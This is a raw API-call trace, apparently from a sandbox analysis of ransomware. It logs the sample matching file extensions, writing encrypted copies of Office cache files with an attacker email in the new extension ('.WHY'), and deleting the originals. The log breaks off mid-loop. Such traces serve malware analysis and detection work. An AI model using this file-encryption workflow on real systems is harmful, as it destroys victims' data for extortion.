[0060.839] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0060.839] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.839] lstrlenW (lpString=".zip") returned 4 [0060.839] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0060.840] lstrlenW (lpString=".rar") returned 4 [0060.840] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0060.840] lstrlenW (lpString=".bz2") returned 4 [0060.840] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0060.840] lstrlenW (lpString=".7z") returned 3 [0060.840] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0060.840] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.840] lstrlenW (lpString=".dbf") returned 4 [0060.840] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0060.840] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.840] lstrlenW (lpString=".1cd") returned 4 [0060.840] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0060.840] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.840] lstrlenW (lpString=".jpg") returned 4 [0060.840] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0060.841] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.841] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.841] lstrlenW (lpString=".doc") returned 4 [0060.841] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0060.841] lstrlenW (lpString=".docx") returned 5 [0060.841] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0060.841] lstrlenW (lpString=".pdf") returned 4 [0060.841] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0060.841] lstrlenW (lpString=".xls") returned 4 [0060.841] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0060.841] lstrlenW (lpString=".xlsx") returned 5 [0060.841] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0060.841] lstrlenW (lpString=".ppt") returned 4 [0060.841] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0060.841] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.842] lstrlenW (lpString=".zip") returned 4 [0060.842] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0060.842] lstrlenW (lpString=".rar") returned 4 [0060.842] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0060.842] lstrlenW (lpString=".bz2") returned 4 [0060.842] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0060.842] lstrlenW (lpString=".7z") returned 3 [0060.842] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0060.842] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.842] lstrlenW (lpString=".dbf") returned 4 [0060.843] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0060.843] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.843] lstrlenW (lpString=".1cd") returned 4 [0060.843] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0060.843] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.843] lstrlenW (lpString=".jpg") returned 4 [0060.843] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0060.843] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0060.844] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0060.844] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.140] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1565) returned 1 [0061.140] CloseHandle (hObject=0x1d0) returned 1 [0061.140] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0061.140] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.140] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.140] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.141] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0061.145] GetLastError () returned 0x0 [0061.145] ReadFile (in: hFile=0x1d0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x61d, lpOverlapped=0x0) returned 1 [0061.149] WriteFile (in: hFile=0x1cc, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x620, lpOverlapped=0x0) returned 1 [0061.152] ReadFile (in: hFile=0x1d0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.152] WriteFile (in: hFile=0x1cc, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.153] SetEndOfFile (hFile=0x1cc) returned 1 [0061.153] CloseHandle (hObject=0x1cc) returned 1 [0061.154] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.154] SetEndOfFile (hFile=0x1d0) returned 1 [0061.157] CloseHandle (hObject=0x1d0) returned 1 [0061.157] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.158] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0061.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.158] lstrlenW (lpString=".doc") returned 4 [0061.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.158] lstrlenW (lpString=".docx") returned 5 [0061.158] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.158] lstrlenW (lpString=".pdf") returned 4 [0061.158] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.159] lstrlenW (lpString=".xls") returned 4 [0061.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.159] lstrlenW (lpString=".xlsx") returned 5 [0061.159] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.159] lstrlenW (lpString=".ppt") returned 4 [0061.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.159] lstrlenW (lpString=".zip") returned 4 [0061.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.159] lstrlenW (lpString=".rar") returned 4 [0061.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.159] lstrlenW (lpString=".bz2") returned 4 [0061.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.159] lstrlenW (lpString=".7z") returned 3 [0061.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.159] lstrlenW (lpString=".dbf") returned 4 [0061.159] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.160] lstrlenW (lpString=".1cd") returned 4 [0061.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.160] lstrlenW (lpString=".jpg") returned 4 [0061.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.160] lstrlenW (lpString=".doc") returned 4 [0061.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.160] lstrlenW (lpString=".docx") returned 5 [0061.160] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.160] lstrlenW (lpString=".pdf") returned 4 [0061.161] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.161] lstrlenW (lpString=".xls") returned 4 [0061.161] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.161] lstrlenW (lpString=".xlsx") returned 5 [0061.161] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.161] lstrlenW (lpString=".ppt") returned 4 [0061.161] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.161] lstrlenW (lpString=".zip") returned 4 [0061.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.161] lstrlenW (lpString=".rar") returned 4 [0061.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.161] lstrlenW (lpString=".bz2") returned 4 [0061.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.161] lstrlenW (lpString=".7z") returned 3 [0061.162] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.162] lstrlenW (lpString=".dbf") returned 4 [0061.162] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.162] lstrlenW (lpString=".1cd") returned 4 [0061.162] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.162] lstrlenW (lpString=".jpg") returned 4 [0061.162] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.162] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.163] lstrlenW (lpString="Setup.xml") returned 9 [0061.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.615] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1608) returned 1 [0061.615] CloseHandle (hObject=0x1d4) returned 1 [0061.615] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.615] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.616] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.616] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.617] GetLastError () returned 0x0 [0061.617] ReadFile (in: hFile=0x1d4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x648, lpOverlapped=0x0) returned 1 [0061.621] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x650, lpOverlapped=0x0) returned 1 [0061.624] ReadFile (in: hFile=0x1d4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.624] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.625] SetEndOfFile (hFile=0x1d8) returned 1 [0061.625] CloseHandle (hObject=0x1d8) returned 1 [0061.626] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.626] SetEndOfFile (hFile=0x1d4) returned 1 [0061.629] CloseHandle (hObject=0x1d4) returned 1 [0061.629] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.629] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.630] lstrlenW (lpString=".doc") returned 4 [0061.630] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.630] lstrlenW (lpString=".docx") returned 5 [0061.630] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.630] lstrlenW (lpString=".pdf") returned 4 [0061.630] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.630] lstrlenW (lpString=".xls") returned 4 [0061.630] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.630] lstrlenW (lpString=".xlsx") returned 5 [0061.630] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.630] lstrlenW (lpString=".ppt") returned 4 [0061.631] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.631] lstrlenW (lpString=".zip") returned 4 [0061.631] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.631] lstrlenW (lpString=".rar") returned 4 [0061.631] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.631] lstrlenW (lpString=".bz2") returned 4 [0061.631] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.631] lstrlenW (lpString=".7z") returned 3 [0061.631] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.631] lstrlenW (lpString=".dbf") returned 4 [0061.631] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.632] lstrlenW (lpString=".1cd") returned 4 [0061.632] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.632] lstrlenW (lpString=".jpg") returned 4 [0061.632] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.632] lstrlenW (lpString=".doc") returned 4 [0061.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.632] lstrlenW (lpString=".docx") returned 5 [0061.632] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.632] lstrlenW (lpString=".pdf") returned 4 [0061.632] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.633] lstrlenW (lpString=".xls") returned 4 [0061.633] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.633] lstrlenW (lpString=".xlsx") returned 5 [0061.633] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.633] lstrlenW (lpString=".ppt") returned 4 [0061.633] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.633] lstrlenW (lpString=".zip") returned 4 [0061.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.633] lstrlenW (lpString=".rar") returned 4 [0061.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.633] lstrlenW (lpString=".bz2") returned 4 [0061.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.633] lstrlenW (lpString=".7z") returned 3 [0061.634] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.634] lstrlenW (lpString=".dbf") returned 4 [0061.634] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.634] lstrlenW (lpString=".1cd") returned 4 [0061.634] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.634] lstrlenW (lpString=".jpg") returned 4 [0061.634] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.635] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.635] lstrlenW (lpString="Proof.xml") returned 9 [0061.635] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0062.107] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1347) returned 1 [0062.107] CloseHandle (hObject=0x1c8) returned 1 [0062.107] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0062.107] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0062.108] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.108] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0062.109] GetLastError () returned 0x0 [0062.109] ReadFile (in: hFile=0x1c8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x543, lpOverlapped=0x0) returned 1 [0062.241] WriteFile (in: hFile=0x1ec, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0062.247] ReadFile (in: hFile=0x1c8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.248] WriteFile (in: hFile=0x1ec, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.248] SetEndOfFile (hFile=0x1ec) returned 1 [0062.249] CloseHandle (hObject=0x1ec) returned 1 [0062.251] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.251] SetEndOfFile (hFile=0x1c8) returned 1 [0062.254] CloseHandle (hObject=0x1c8) returned 1 [0062.255] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.256] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0062.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.257] lstrlenW (lpString=".doc") returned 4 [0062.257] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.258] lstrlenW (lpString=".docx") returned 5 [0062.258] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.258] lstrlenW (lpString=".pdf") returned 4 [0062.258] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.258] lstrlenW (lpString=".xls") returned 4 [0062.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.258] lstrlenW (lpString=".xlsx") returned 5 [0062.258] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.258] lstrlenW (lpString=".ppt") returned 4 